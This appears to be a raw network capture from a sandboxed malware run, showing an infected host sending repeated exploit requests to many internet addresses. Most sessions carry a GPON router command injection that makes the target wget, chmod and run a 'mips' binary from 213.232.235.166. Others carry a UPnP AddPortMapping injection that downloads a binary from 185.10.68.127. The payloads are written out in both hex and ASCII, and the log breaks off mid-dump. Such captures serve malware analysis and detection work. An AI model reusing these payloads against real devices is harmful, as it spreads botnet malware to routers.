Apr 15, 2024 08:53:28.567621946 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:28.873467922 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.13	50240	164.250.240.184	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.722975016 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:28.929841042 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.13	59490	16.171.158.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.886312962 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.13	39054	49.232.217.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.886842012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.202902079 CEST	748	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 589 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 34 39 2e 32 33 32 2e 32 31 37 2e 32 33 37 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 2f 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 76 6d 2d 32 34 2d 31 33 2d 63 65 6e 74 6f 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 34 2f 31 35 20 31 34 3a 35 33 3a 32 39 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://49.232.217.237/GponForm/diag_Form?images/</td></tr><tr><td>Server:</td><td>vm-24-13-centos</td></tr><tr><td>Date:</td><td>2024/04/15 14:53:29</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.13	56632	83.220.174.157	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.895224094 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.219754934 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.13	44092	146.160.56.13	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.903887033 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.272658110 CEST	287	IN	HTTP/1.0 404 Not Found Content-type: text/html; charset=iso-8859-1 Accept-Ranges: bytes Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 3c 48 52 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H2>404 Not Found</H2><HR>The requested URL was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.13	36700	186.16.13.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.912401915 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.264358044 CEST	510	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:29 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 63 65 6e 74 72 61 6c 2e 7a 65 6e 74 79 61 6c 2d 64 6f 6d 61 69 6e 2e 6c 61 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at central.zentyal-domain.lan Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.13	55966	171.7.96.48	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.921919107 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.275640011 CEST	346	IN	HTTP/1.1 400 Bad Request Cache-control:no-cache, no-store, max-age=0 Content-Type:text/html; charset=UTF-8 Content-Language:en Pragma:no-cache Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 15, 2024 08:53:29.275652885 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.13	50288	164.250.240.184	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.933198929 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 